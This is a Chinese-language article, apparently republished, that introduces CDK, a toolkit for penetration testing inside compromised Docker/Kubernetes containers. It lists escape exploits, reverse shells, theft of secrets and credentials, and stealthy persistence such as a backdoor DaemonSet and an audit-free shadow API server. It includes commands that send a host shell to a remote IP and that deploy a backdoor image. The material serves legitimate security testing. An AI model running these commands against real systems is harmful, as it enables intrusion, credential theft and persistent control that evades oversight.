作者: CDK-Team
項目地址:https://github.com/cdk-team/CDK/

CDK是一款為容器環境定制的滲透測試工具,在已攻陷的容器內部提供零依賴的常用命令及PoC/EXP。集成Docker/K8s場景特有的 逃逸、橫向移動、持久化利用方式,插件化管理。

場景介紹

伴隨著容器技術的快速發展,容器安全問題也逐漸成為企業所關注的話題。針對容器場景的滲透測試一方面要求攻擊者理解對Docker/K8s以及云服務的原理、特性以及漏洞利用方式;另一方面,攻擊者通過業務漏洞(如WEB RCE)攻入容器后往往面對的是一個縮減后的容器環境,缺乏常用的linux命令依賴導致滲透效率不佳。

CDK為安全測試人員提供了golang原生的容器環境滲透能力,主要有以下幾點:

  1. 評估容器內部弱點、搜集敏感信息。
  2. 提供多種容器逃逸的漏洞利用方式。
  3. 提供K8s環境的多種持久化、橫向移動方式。
  4. 提供原生的進程、網絡命令,便于測試者自定義攻擊操作。

功能

CDK包括三個功能模塊

  1. Evaluate: 容器內部信息收集,以發現潛在的弱點便于后續利用。
  2. Exploit: 提供容器逃逸、持久化、橫向移動等利用方式。
  3. Tool: 修復滲透過程中常用的linux命令以及與Docker/K8s API交互的命令。

Evaluate 模塊

用于本地信息收集,尋找可用的逃逸點,使用 --full 參數時會包含本地文件掃描。

類別 檢測點 已支持 詳細文檔
本地信息收集 OS基本信息 ? link
本地信息收集 可用的Capabilities ? link
本地信息收集 可用的Linux命令 ? link
本地信息收集 掛載情況 ? link
本地信息收集 網絡namespace隔離情況 ? link
本地信息收集 環境變量 ? link
本地信息收集 敏感服務 ? link
本地信息收集 敏感目錄及文件 ? link
本地信息收集 kube-proxy邊界繞過(CVE-2020-8558) ? link
網絡探測 K8s Api-server信息 ? link
網絡探測 K8s Service-account信息 ? link
網絡探測 云廠商Metadata API ? link

Exploit 模塊

執行指定的exp。

類別 功能 調用名 已支持 文檔
容器逃逸 docker-runc CVE-2019-5736 runc-pwn ?
容器逃逸 containerd-shim CVE-2020-15257 shim-pwn ? link
容器逃逸 docker.sock逃逸PoC(docker-in-docker) docker-sock-check ? link
容器逃逸 docker.sock部署惡意鏡像 docker-sock-deploy ? link
容器逃逸 掛載逃逸(特權容器) mount-disk ? link
容器逃逸 Cgroup逃逸(特權容器) mount-cgroup ? link
容器逃逸 Procfs目錄掛載逃逸 mount-procfs ? link
容器逃逸 Ptrace逃逸PoC check-ptrace ? link
容器逃逸 lxcfs cgroup錯誤配置逃逸 lxcfs-rw ? link
容器逃逸 重寫Cgroup以訪問設備 rewrite-cgroup-devices ? link
網絡探測 K8s組件探測 service-probe ? link
信息收集 檢查和獲取Istio元信息 istio-check ? link
遠程控制 反彈shell reverse-shell ? link
信息竊取 掃描AK及API認證憑據 ak-leakage ? link
信息竊取 竊取K8s Secrets k8s-secret-dump ? link
信息竊取 竊取K8s Config k8s-configmap-dump ? link
持久化 部署WebShell webshell-deploy ? link
持久化 部署后門Pod k8s-backdoor-daemonset ? link
持久化 部署影子K8s api-server k8s-shadow-apiserver ? link
持久化 K8s MITM攻擊(CVE-2020-8554) k8s-mitm-clusterip ? link
持久化 部署K8s CronJob k8s-cronjob ? link

Tool 模塊

還原部分常用的Linux命令,解決容器環境縮減的問題。

子命令 描述 已支持 文檔
nc TCP隧道 ? link
ps 獲取進程信息 ? link
ifconfig 獲取網絡信息 ? link
vi 文本編輯 ? link
kcurl 發包到K8s api-server ? link
dcurl 發包到Docker HTTP API
ucurl 發包到Docker Unix Socket ? link
rcurl 發包到Docker Registry API
probe IP/端口掃描 ? link
kproxy kubectl代理轉發

使用方法

下載可執行文件投遞到已攻入的容器內部開始測試:

命令行參數:

Container DucK
Zero-dependency docker/k8s penetration toolkit by <i@cdxy.me>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weekness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/Xyntax/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl (get|post) <url> <data>             Make request to K8s api-server.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

工具演示

評估容器弱點

cdk evaluate --full

png

containerd-shim(CVE-2020-15257)漏洞逃逸

通過共享的net namespace向宿主機的containerd-shim進程發起請求,利用其特性反彈宿主機的shell到遠端服務器。

./cdk run shim-pwn 47.104.151.168 111

docker.sock漏洞逃逸

通過本地docker.sock向控制宿主機的docker進程,拉取指定的后門鏡像并運行,運行過程中鏡像將宿主機的根目錄/掛載到容器內部的/host目錄下,便于通過后門容器修改宿主機本地文件(如crontab)來完成逃逸。

# deploy image from dockerhub
./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest

# deploy image from user image registry
./cdk run docker-sock-deploy registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd

g

部署K8s shadow apiserver

向K8s集群中部署一個shadow apiserver,該apiserver具有和集群中現存的apiserver一致的功能,同時開啟了全部K8s管理權限,接受匿名請求且不保存審計日志。便于攻擊者無痕跡的管理整個集群以及下發后續滲透行動。

./cdk run k8s-shadow-apiserver default

png

項目地址


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1474/